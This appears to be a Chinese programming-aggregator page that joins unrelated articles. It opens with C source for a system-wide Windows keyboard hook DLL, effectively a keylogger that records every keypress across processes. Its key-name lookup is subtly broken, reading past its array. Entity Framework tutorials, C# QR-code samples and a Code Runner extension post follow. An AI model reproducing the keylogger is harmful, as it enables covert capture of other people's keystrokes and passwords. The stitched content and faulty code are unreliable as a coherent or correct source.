GVKun编程网logo

Code - Windows 获取键盘记录(获取键盘按键的内容)

4

本文将为您提供关于Code-Windows获取键盘记录的详细介绍,我们还将为您解释获取键盘按键的内容的相关知识,同时,我们还将为您提供关于3.翻译系列:EFCode-First示例(EF6Code-F

本文将为您提供关于Code - Windows 获取键盘记录的详细介绍,我们还将为您解释获取键盘按键的内容的相关知识,同时,我们还将为您提供关于3.翻译系列:EF Code-First 示例(EF 6 Code-First系列)、4.翻译系列:EF 6 Code-First默认约定(EF 6 Code-First系列)、C#通过第三方组件生成二维码(QR Code)和条形码(Bar Code)、Code Runner for VS Code,下载量突破 4000 万!支持超过50种语言的实用信息。

本文目录一览:

Code - Windows 获取键盘记录(获取键盘按键的内容)

Code - Windows 获取键盘记录(获取键盘按键的内容)

MSDN上有说明 要HOOK同一桌面下的所有进程 则HOOK必须是在一个动态库中

hook.h

__declspec(dllexport) void setHook(); //导出声明
__declspec(dllexport) void unHook();


/*
LIBRARY	HOOK
EXPORTS
setHook @1
*/

hook.c

#include "hook.h"

#include <Windows.h>
#include <stdio.h>
#include "keyInfo.h"

HHOOK g_hHook=0;
extern const KeyName g_KeyNames[];


char* findKetName(int VK)
{
	static char buf[128]={0};
	int i=0;

	strcpy(buf," ");
	for(i=0;i<sizeof(g_KeyNames);i++)
	{
		if(i == VK)
		{
			strcat(strcpy(buf,g_KeyNames[i].name),"\r\n");
		}
	}
	return buf;
}

LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	if(nCode == HC_ACTION)
	{
		if( !(lParam & 0x80000000))//按键按下 要加判断否则键盘消息会回响应两次(键盘按下和弹起)
		{
			OutputDebugString(findKetName(wParam));
		}
	}
	return CallNextHookEx(g_hHook,nCode,wParam,lParam);
}

void setHook()
{
	if(!g_hHook)
	{
		g_hHook = SetWindowsHookEx(WH_KEYBOARD,HookProc,GetModuleHandle("HOOK"),0);
	}
}

void unHook()
{
	if ( g_hHook )
	{
		UnhookWindowsHookEx(g_hHook);
	}
}

 

键盘索引

keyInfo.h

typedef struct 
{
	int vk;
	char name[32];
}KeyName;

const KeyName g_KeyNames[] = {
	{0,                             ""},
	{VK_LBUTTON,			"Left mouse button"},
	{VK_RBUTTON,			"Right mouse button"},
	{VK_CANCEL,             "Break"},
	{VK_MBUTTON,			"Middle mouse button"},
	{0x05,                  "X1 mouse button"},     // VK_XBUTTON1
	{0x06,                  "X2 mouse button"},     // VK_XBUTTON2
	{0x07,                  "Undefined"},
	{VK_BACK,               "Backspace"},
	{VK_TAB,                "Tab"},
	{0x0a,                  "Reserved"},
	{0x0b,                  "Reserved"},
	{VK_CLEAR,              "Clear"},
	{VK_RETURN,             "Enter"},
	{0x0e,                  "Undefined"},
	{0x0f,                  "Undefined"},
	{VK_SHIFT,              "Shift"},
	{VK_CONTROL,			"Ctrl"},
	{VK_MENU,               "Alt"},
	{VK_PAUSE,              "Pause"},
	{VK_CAPITAL,			"Caps Lock"},
	{VK_KANA,               "Kana"},
	{0x16,                  "Undefined"},
	{VK_JUNJA,              "Junja"},
	{VK_FINAL,              "Final"},
	{VK_KANJI,              "Kanji"},
	{0x1a,                  "Undefined"},
	{VK_ESCAPE,             "Esc"},
	{VK_CONVERT,			"Convert"},
	{VK_NONCONVERT,			"Nonconvert"},
	{VK_ACCEPT,             "Accept"},
	{VK_MODECHANGE,			"Mode change"},
	{VK_SPACE,              "Space"},
	{VK_PRIOR,              "Page Up"},
	{VK_NEXT,               "Page Down"},
	{VK_END,                "End"},
	{VK_HOME,               "Home"},
	{VK_LEFT,               "Left"},
	{VK_UP,                 "Up"},
	{VK_RIGHT,              "Right"},
	{VK_DOWN,               "Down"},
	{VK_SELECT,             "Select"},
	{VK_PRINT,              "Print"},
	{VK_EXECUTE,			"Execute"},
	{VK_SNAPSHOT,			"Print Screen"},
	{VK_INSERT,             "Ins"},
	{VK_DELETE,             "Del"},
	{VK_HELP,               "Help"},
	{''0'',                   "0"},
	{''1'',                   "1"},
	{''2'',                   "2"},
	{''3'',                   "3"},
	{''4'',                   "4"},
	{''5'',                   "5"},
	{''6'',                   "6"},
	{''7'',                   "7"},
	{''8'',                   "8"},
	{''9'',                   "9"},
	{0x3a,                  "Undefined"},
	{0x3b,                  "Undefined"},
	{0x3c,                  "Undefined"},
	{0x3d,                  "Undefined"},
	{0x3e,                  "Undefined"},
	{0x3f,                  "Undefined"},
	{0x40,                  "Undefined"},
	{''A'',                   "A"},
	{''B'',                   "B"},
	{''C'',                   "C"},
	{''D'',                   "D"},
	{''E'',                   "E"},
	{''F'',                   "F"},
	{''G'',                   "G"},
	{''H'',                   "H"},
	{''I'',                   "I"},
	{''J'',                   "J"},
	{''K'',                   "K"},
	{''L'',                   "L"},
	{''M'',                   "M"},
	{''N'',                   "N"},
	{''O'',                   "O"},
	{''P'',                   "P"},
	{''Q'',                   "Q"},
	{''R'',                   "R"},
	{''S'',                   "S"},
	{''T'',                   "T"},
	{''U'',                   "U"},
	{''V'',                   "V"},
	{''W'',                   "W"},
	{''X'',                   "X"},
	{''Y'',                   "Y"},
	{''Z'',                   "Z"},
	{VK_LWIN,               "Left Windows"},
	{VK_RWIN,               "Right Windows"},
	{VK_APPS,               "Application"},
	{0x5e,                  "Reserved"},
	{0x5f,                  "Sleep"},//VK_SLEEP
	{VK_NUMPAD0,			"Num 0"},
	{VK_NUMPAD1,			"Num 1"},
	{VK_NUMPAD2,			"Num 2"},
	{VK_NUMPAD3,			"Num 3"},
	{VK_NUMPAD4,			"Num 4"},
	{VK_NUMPAD5,			"Num 5"},
	{VK_NUMPAD6,			"Num 6"},
	{VK_NUMPAD7,			"Num 7"},
	{VK_NUMPAD8,			"Num 8"},
	{VK_NUMPAD9,			"Num 9"},
	{VK_MULTIPLY,			"Num *"},
	{VK_ADD,				"Num +"},
	{VK_SEPARATOR,			"Separator"},
	{VK_SUBTRACT,			"Num -"},
	{VK_DECIMAL,			"Num ."},
	{VK_DIVIDE,             "Num /"},
	{VK_F1,                 "F1"},
	{VK_F2,                 "F2"},
	{VK_F3,                 "F3"},
	{VK_F4,                 "F4"},
	{VK_F5,                 "F5"},
	{VK_F6,                 "F6"},
	{VK_F7,                 "F7"},
	{VK_F8,                 "F8"},
	{VK_F9,                 "F9"},
	{VK_F10,                "F10"},
	{VK_F11,                "F11"},
	{VK_F12,                "F12"},
	{VK_F13,                "F13"},
	{VK_F14,                "F14"},
	{VK_F15,                "F15"},
	{VK_F16,                "F16"},
	{VK_F17,                "F17"},
	{VK_F18,                "F18"},
	{VK_F19,                "F19"},
	{VK_F20,                "F20"},
	{VK_F21,                "F21"},
	{VK_F22,                "F22"},
	{VK_F23,                "F23"},
	{VK_F24,                "F24"},
	{0x88,                  "Unassigned"},
	{0x89,                  "Unassigned"},
	{0x8a,                  "Unassigned"},
	{0x8b,                  "Unassigned"},
	{0x8c,                  "Unassigned"},
	{0x8d,                  "Unassigned"},
	{0x8e,                  "Unassigned"},
	{0x8f,                  "Unassigned"},
	{VK_NUMLOCK,			"Num Lock"},
	{VK_SCROLL,             "Scroll Lock"},
	{0x92,                  "OEM specific"},
	{0x93,                  "OEM specific"},
	{0x94,                  "OEM specific"},
	{0x95,                  "OEM specific"},
	{0x96,                  "OEM specific"},
	{0x97,                  "Unassigned"},
	{0x98,                  "Unassigned"},
	{0x99,                  "Unassigned"},
	{0x9a,                  "Unassigned"},
	{0x9b,                  "Unassigned"},
	{0x9c,                  "Unassigned"},
	{0x9d,                  "Unassigned"},
	{0x9e,                  "Unassigned"},
	{0x9f,                  "Unassigned"},
	{VK_LSHIFT,             "Left Shift"},
	{VK_RSHIFT,             "Right Shift"},
	{VK_LCONTROL,			"Left Ctrl"},
	{VK_RCONTROL,			"Right Ctrl"},
	{VK_LMENU,              "Left Alt"},
	{VK_RMENU,              "Right Alt"},
	{0xa6,                  "Browser Back"},        // VK_BROWSER_BACK
	{0xa7,                  "Browser Forward"},		// VK_BROWSER_FORWARD
	{0xa8,                  "Browser Refresh"},		// VK_BROWSER_REFRESH
	{0xa9,                  "Browser Stop"},		// VK_BROWSER_STOP
	{0xaa,                  "Browser Search"},		// VK_BROWSER_SEARCH
	{0xab,                  "Browser Favorites"},   // VK_BROWSER_FAVORITES
	{0xac,                  "Browser Start"},		// VK_BROWSER_HOME
	{0xad,                  "Volume Mute"},			// VK_VOLUME_MUTE
	{0xae,                  "Volume Down"},			// VK_VOLUME_DOWN
	{0xaf,                  "Volume Up"},			// VK_VOLUME_UP
	{0xb0,                  "Next Track"},			// VK_MEDIA_NEXT_TRACK
	{0xb1,                  "Previous Track"},		// VK_MEDIA_PREV_TRACK
	{0xb2,                  "Stop Media"},			// VK_MEDIA_STOP
	{0xb3,                  "Play/Pause Media"},    // VK_MEDIA_PLAY_PAUSE
	{0xb4,                  "Start Mail"},			// VK_LAUNCH_MAIL
	{0xb5,                  "Select Media"},		// VK_LAUNCH_MEDIA_SELECT
	{0xb6,                  "Start Application 1"}, // VK_LAUNCH_APP1
	{0xb7,                  "Start Application 2"}, // VK_LAUNCH_APP2
	{0xb8,                  "Reserved"},
	{0xb9,                  "Reserved"},
	{0xba,                  ";"},					// VK_OEM_1
};

 

3.翻译系列:EF Code-First 示例(EF 6 Code-First系列)

3.翻译系列:EF Code-First 示例(EF 6 Code-First系列)

原文链接:http://www.entityframeworktutorial.net/code-first/simple-code-first-example.aspx

在前面一节中,我们学会了怎么,在我们项目中安装Entity Framework。现在我们来创建一个简单的Code-First示例吧:

假定,我们想为XYZ学校创建一个简单的应用程序,使用这个程序来添加、更新学生信息,以及学生分数信息,班级信息还有老师信息。

不像之前传统做法那样,先创建数据库,这里我们为我们的学生创建学生领域类。首先创建Student,以及Grade实体,代码中一个学生实体和一个Grade实体相关联。这被称作为一对多的关系。后面的章节中,我们将会学到EF怎么管理实体之间的关系。

我们创建一个控制台应用程序,安装好EF。

分享图片

然后创建Student 和Grade类

 public class Student { /// <summary>
        /// 学生ID /// </summary>
        public int StudentID { get; set; } /// <summary>
        /// 学生姓名 /// </summary>
        public string StudentName { get; set; } /// <summary>
        /// 出生日期 /// </summary>
        public DateTime? DateOfBirth { get; set; } /// <summary>
        /// 图片 /// </summary>
        public byte[] Photo { get; set; } /// <summary>
        /// 身高 /// </summary>
        public decimal Height { get; set; } /// <summary>
        /// 体重 /// </summary>
        public float Weight { get; set; } /// <summary>
        /// 导航属性--Grade--年级 /// </summary>
        public Grade Grade { get; set; } }
 public class Grade { public int GradeID { get; set; } public string GradeName { get; set; } public string Section { get; set; } public ICollection<Student> Students { get; set; } }

如上,我们创建好了程序的领域类。

Code-First方式,同样还需要一个上下文类,上下文类是继承自DbContext类的类。创建一个上下文类,如下,它继承自DbContext,暴露两个属性Students和Grades.

分享图片

现在,我们已经创建好了Code-First方式需要的类,现在来测试一下:

分享图片

 

运行项目:

分享图片

 

 表示一个学生信息已经成功添加到了数据库中。

但是,数据库在哪里呢?数据表呢?数据列呢?

这就是EF Code-First API 迷人之处。它基于你在上下文类的构造函数中传递的参数,创建数据库。因为这里,我们在上下文类的构造函数中没有传递任何参数,EF 就给我们在这里创建了数据库:

C:\Users\你的计算机名称

分享图片

这个数据库不能附加,我们可以在配置文件,配置一下:

分享图片

然后修改一下,上下文类的构造函数:

分享图片

再运行项目看看:

分享图片

 

 说明成功创建了数据库,我们看下生成的数据库:

分享图片

分享图片

就像上面图形中所示,EF为我们创建了数据库,还创建了相应的数据表,数据列。这样我们就使用Code-First,创建了数据库.

请注意:如果你修改了实体,再运行项目的话,就会报错:例如,我在Student实体中加一个属性Email。

分享图片

然后运行项目:

分享图片

 

 出现这个错误,是需要进行数据库迁移。你需要在上下文类中,定义数据库初始化策略,然后修改实体,最后运行项目。数据库迁移技术,我好多系列文章中都讲到了,当然 这个系列还是会告诉大家怎么配置,大家可以到时候好好跟着我巩固一下。

你现在肯定很好奇,EF API是怎么创建合适类型的数据列的,怎么创建主键,怎么创建外键的?答案就是使用Code-First默认的约定配置。下面一节中,我们将学习Code-First默认约定。

4.翻译系列:EF 6 Code-First默认约定(EF 6 Code-First系列)

4.翻译系列:EF 6 Code-First默认约定(EF 6 Code-First系列)

原文地址:http://www.entityframeworktutorial.net/code-first/code-first-conventions.aspx

约定就是一系列的默认规则,通过这些规则,在使用EF Code-First的时候,可以自动的基于你的领域类配置概念模型。就像你在前面Code-First示例一节中看到的那样,EF API 基于领域类,不需要额外的配置就可以,配置主键,外键,关系,以及列的数据类型等等。这就是EF Code-First约定在起的作用。如果领域类遵循了默认的约定,那么生成的数据库结构,就会是基于这个默认约定的。EF 6.x Code -First默认约定都定义在System.Data.Entity.ModelConfiguration.Conventions命名空间下。

下面的图表,列出来了Code-First默认约定:

默认约定 描述 Schema【模式】 默认情况下,EF会为所有的数据库对象,创建dbo模式名称。 Table Name【数据表名称】 默认,EF将会创建为实体创建的表名称是,实体名称+s。例如:Student实体将会映射成Students表 Primary Key Name【主键名称】

1.Id

2.实体名称+"Id"(不区分大小写的)

默认情况下,EF将会把实体的Id属性设置为主键,或者是将实体名称+Id的属性设置为主键。【不区分大小写的】

Foreign Key Property Name【外键名称】

默认情况下,EF将查找与主体实体的主键名称相同的外键属性

如果这个外键属性不存在,那么EF将会在数据表中,创建一个外键列,名称是:依赖项的导航属性名称+“_”+主体实体的主键名称。

例如:如果在Student实体中,不包含Grade实体的外键属性,EF将会在Students表中,创建名称为Grade_GradeId的外键。

NULL column 【NULL的列】  EF将会为所有的引用类型的属性创建可空数据列。例如:string,NUllable<int>,Student,Grade(所有类类型的属性) Not null column【不为空的列】 EF中为主键属性以及不为空类型的值类型创建非空列。例如:int、float、decimal、datetime等等。 DB Column Order【数据库列的顺序】 EF会根据属性在实体中的顺序,为列创建相应的顺序。需要注意的是:主键列会被移到第一个 Properties mapping to DB【属性怎么映射到数据库】 默认情况下,所有的实体属性都会被映射到数据库中,可以使用【NotMapped】特性,来标识属性,就可以让这个属性不被映射到数据库的表中了。 Cascade delete【级联删除】 默认对所有类型的关系都是启用的。

 

下面的图表,列出来了C#数据类型和sql Server数据类型映射的对应关系。

C#数据类型 映射到的sql Server数据类型 int int string nvarchar(max) decimal decimal(18,2) float real byte[] varbinary(max) datetime datetime bool bit byte tinyint short smallint long bigint double float char no mapping sbyte no mapping(Throws exception)抛异常 object no mapping

 

下面的图形,列出来了,根据默认的约定,生成的数据库。

分享图片

 

Relationship Convention【关系约定】

EF 6 默认可以通过导航属性,推断出一对多【One-to-Many】的关系。后面的章节中,我们会学习一对多的关系。

注意的是:EF 6 不包含一对一和多对多的关系约定。你可以通过数据注解或者Fluent API来配置一对一关系或者多对多关系。

Complex Type Convention【复杂类型约定】

Code First为类创建的复杂类型,并不包含Key 属性,同样主键也是没有通过数据注解或者Fluent API配置的。

好了,这就是Code-First默认约定的大体内容了,注意:这些约定可以通过数据注解或者Fluent API 重写。

这一篇就介绍完了,大家有什么不明白的,可以在下面留言,我会一一回复。谢谢。

C#通过第三方组件生成二维码(QR Code)和条形码(Bar Code)

C#通过第三方组件生成二维码(QR Code)和条形码(Bar Code)

用C#如何生成二维码,我们可以通过现有的第三方dll直接来实现,下面列出几种不同的生成方法:

1):通过QrCodeNet(Gma.QrCodeNet.Encoding.dll)来实现

1.1):首先通过VS2015的NuGet下载对应的第三方组件,如下图所示:

1.2):具体生成二维码方法如下

private void GenerateQRByQrCodeNet()
{
QrEncoder qrEncoder = new QrEncoder(ErrorCorrectionLevel.H);
QrCode qrCode = new QrCode();
qrEncoder.TryEncode("Hello World. This is Eric Sun Testing...",out qrCode);
GraphicsRenderer renderer = new GraphicsRenderer(new FixedModuleSize(5,QuietZoneModules.Two),Brushes.Black,Brushes.White);
using (MemoryStream ms = new MemoryStream())
{
renderer.WritetoStream(qrCode.Matrix,ImageFormat.Png,ms);
Image img = Image.FromStream(ms);
img.Save("E:/csharp-qrcode-net.png");
}
}

更多详细信息请参考如下链接:

http://www.jb51.net/article/99215.htm

http://qrcodenet.codeplex.com/

http://stackoverflow.com/questions/7020136/free-c-sharp-qr-code-generator

2):通过ThoughtWorks.QRCode(ThoughtWorks.QRCode.dll)来实现

1.1):首先通过VS2015的NuGet下载对应的第三方组件,如下图所示:

1.2):具体生成二维码方法如下

private void GenerateQRByThoughtWorks()
{
QRCodeEncoder encoder = new QRCodeEncoder();
encoder.QRCodeEncodemode = QRCodeEncoder.ENCODE_MODE.BYTE;//编码方式(注意:BYTE能支持中文,ALPHA_NUMERIC扫描出来的都是数字)
encoder.QRCodeScale = 4;//大小(值越大生成的二维码图片像素越高)
encoder.QRCodeVersion = 0;//版本(注意:设置为0主要是防止编码的字符串太长时发生错误)
encoder.QRCodeErrorCorrect = QRCodeEncoder.ERROR_CORRECTION.M;//错误效验、错误更正(有4个等级)
encoder.QRCodeBackgroundColor = Color.Yellow;
encoder.QRCodeForegroundColor = Color.Green;
string qrdata = "Hello 世界! This is Eric Sun Testing....";
Bitmap bcodeBitmap = encoder.Encode(qrdata.ToString());
bcodeBitmap.Save(@"E:\HelloWorld.png",ImageFormat.Png);
bcodeBitmap.dispose();
}

3):通过Spire.BarCode(Spire.BarCode.dll)来实现

1.1):首先通过VS2015的NuGet下载对应的第三方组件,如下图所示:

1.2):具体生成二维码方法如下

private void GenerateQRBySpire()
{
BarcodeSettings bs = new BarcodeSettings()
{
Data = "This is qr code: H2AMK-Z3V69-RTJZD-C7JAU-WILL4",Type = BarCodeType.QRCode,TopTextColor = Color.Red,ShowCheckSumChar = false,showtext = false
};
//Generate the barcode based on the this.barCodeControl1
BarCodeGenerator generator = new BarCodeGenerator(bs);
Image barcode = generator.GenerateImage();
//save the barcode as an image
barcode.Save(@"E:\barcode-2d.png");
}

1.3):附加具体生成条形码方法如下

private void GenerateBarCodeBySpire()
{
BarcodeSettings bs = new BarcodeSettings()
{
Data = "This is barcode: H2AMK-Z3V69-RTJZD-C7JAU-WILL4",ShowTopText = false,showtextOnBottom = true
};
//Generate the barcode based on the this.barCodeControl1
BarCodeGenerator generator = new BarCodeGenerator(bs);
Image barcode = generator.GenerateImage();
//save the barcode as an image
barcode.Save(@"E:\barcode.png");
}

1.3):上诉代码我们发现生成的条形码和二维码带有水印[E-ICEBLUE],如何去除水印呢?请看如下代码

BarcodeSettings.ApplyKey("......");

请发送邮件到 sales@e-iceblue.com 免费获取对应的 key 值

更多详细信息请参考如下链接:

http://freebarcode.codeplex.com/

http://www.e-iceblue.com/Knowledgebase/Spire.BarCode/Program-Guide/Programme-Guide-for-Spire.BarCode.html

https://www.oudahe.com/p/30490/

4):通过Barcode Rendering Framework(Zen.Barcode.Rendering.Framework.dll)来实现

4.1):首先通过VS2015的NuGet下载对应的第三方组件,如下图所示:

4.2):具体生成二维码方法如下

private void GenerateBarCodeByZen()
{
Code128BarcodeDraw barcode128 = BarcodeDrawFactory.Code128WithChecksum;
Image img = barcode128.Draw("Hello World",40);
img.Save("E:/zenbarcode.gif");
}

4.3):附加具体生成条形码方法如下

private void GenerateQRByZen()
{
CodeQrBarcodeDraw qrcode = BarcodeDrawFactory.CodeQr;
Image img = qrcode.Draw("Hello World!",qrcode.GetDefaultMetrics(40));
img.Save("E:/zenqrcode.gif");
}

更多详细信息请参考如下链接:

http://barcoderender.codeplex.com/

5):通过BarcodeLib(BarcodeLib.Barcode.ASP.NET.dll)来实现,下载对应dll的连接为 http://www.barcodelib.com/asp_net/

5.1):具体生成二维码方法如下

private void GenerateQRByBarcodeLib()
{
QRCode qrbarcode = new QRCode();
qrbarcode.Encoding = QRCodeEncoding.Auto;
qrbarcode.Data = "336699885522 This is Eric Sun Testing.";
qrbarcode.ModuleSize = 10;
qrbarcode.LeftMargin = 8;
qrbarcode.RightMargin = 8;
qrbarcode.TopMargin = 8;
qrbarcode.BottomMargin = 8;
qrbarcode.ImageFormat = System.Drawing.Imaging.ImageFormat.Gif;
// Save QR Code barcode image into your system
qrbarcode.drawBarcode("E:/csharp-qrcode-lib.gif");
}

5.2):附加具体生成条形码方法如下

private void GenerateLinearByBarcodeLib()
{
Linear barcode = new Linear();
barcode.Type = BarcodeType.CODE128;
barcode.Data = "CODE128";
// other barcode settings.
// save barcode image into your system
barcode.drawBarcode("E:/barcode.png");
}

我们使用的是试用版(带水印的......),还有付费的正版,详情请参考如下链接:

http://www.barcodelib.com/asp_net/

以上所述是小编给大家介绍的C#通过第三方组件生成二维码(QR Code)和条形码(Bar Code),希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对编程小技巧网站的支持!

Code Runner for VS Code,下载量突破 4000 万!支持超过50种语言

Code Runner for VS Code,下载量突破 4000 万!支持超过50种语言

大家好!

我是韩老师。还记得 6 年前的夏天,我在巨硬写着世界上最好的语言,有时也需要带着游标卡尺写着另一门语言。然而,我对这两门语言都不熟悉,如果能在 VS Code 中方便快捷地运行各种语言,那岂不是很方便?于是,我就开发了 Code Runner 插件。

https://github.com/formulahendry/vscode-code-runner

下载量

2016 年 12 月 13 日,Code Runner 正式发布!

2019 年 11 月 24 日,Code Runner 下载量突破 1000 万!

2021 年 1 月 31 日,Code Runner 下载量突破 2000 万!

2021 年 11 月 7 日,Code Runner 下载量突破 3000 万!

2022 年 7 月 17 日,Code Runner 下载量突破 4000 万!

图片

多语言支持

经过数年时间的打磨,Code Runner 的功能越来越丰富,也支持了超过 50 种语言:

C, C++, Java, JavaScript, PHP, Python, Perl, Perl 6, Ruby, Go, Lua, Groovy, PowerShell, BAT/CMD, BASH/SH, F# Script, F# (.NET Core), C# Script, C# (.NET Core), VBScript, TypeScript, CoffeeScript, Scala, Swift, Julia, Crystal, OCaml Script, R, AppleScript, Elixir, Visual Basic .NET, Clojure, Haxe, Objective-C, Rust, Racket, Scheme, AutoHotkey, AutoIt, Kotlin, Dart, Free Pascal, Haskell, Nim, D, Lisp, Kit, V, SCSS, Sass, CUDA, Less, Fortran, Ring, Standard ML, Zig。

新方向

不仅仅是功能上的改进和支持的编程语言的数量上的增加,我还一直尝试探索新的方向。

去年 12 月,我发布了全新的 Code Runner for Web 插件!

https://github.com/formulahendry/vscode-code-runner-for-web

图片

与 Code Runner 需要用户自行安装相应的编译器/解释器不同,安装好 Code Runner for Web 插件后,我们可以在 vscode.dev、github.dev 和桌面版 VS Code 中直接运行 Python !它有两大亮点:

  • 快速便捷:不需要额外安装 Python 解释器,真正的一键运行!
  • 免费:无需后端运行环境,全部在浏览器环境中完成!

英雄所见略同

2021 年 12 月,我发布了 Code Runner for Web。

2022 年 4 月,Anaconda 发布了 PyScript!

正可谓 Great minds think alike!

站在巨人的肩膀上

Code Runner for Web 的工作原理是怎么样的呢?

Great Products Sits on the Shoulder of Giants!有下面三位重要的巨人:

  • WebAssembly/WASM (https://webassembly.org/)
  • Emscripten (https://emscripten.org/): 把基于 LLVM 的项目编译到浏览器、Node.js 或者 WebAssembly 运行时。
  • Pyodide (https://pyodide.org/en/stable/): 基于 WebAssembly 的 Python 发行版。

简单来说,就是通过 Emscripten,Pyodide 把 cpython 解释器预先编译成 WebAssembly,使得 Python 文件可以在浏览器中运行!

图片

未来

WebAssembly is the future! —— Jun Han
让我们一起期待!

关于Code - Windows 获取键盘记录获取键盘按键的内容的介绍现已完结,谢谢您的耐心阅读,如果想了解更多关于3.翻译系列:EF Code-First 示例(EF 6 Code-First系列)、4.翻译系列:EF 6 Code-First默认约定(EF 6 Code-First系列)、C#通过第三方组件生成二维码(QR Code)和条形码(Bar Code)、Code Runner for VS Code,下载量突破 4000 万!支持超过50种语言的相关知识,请在本站寻找。

本文标签: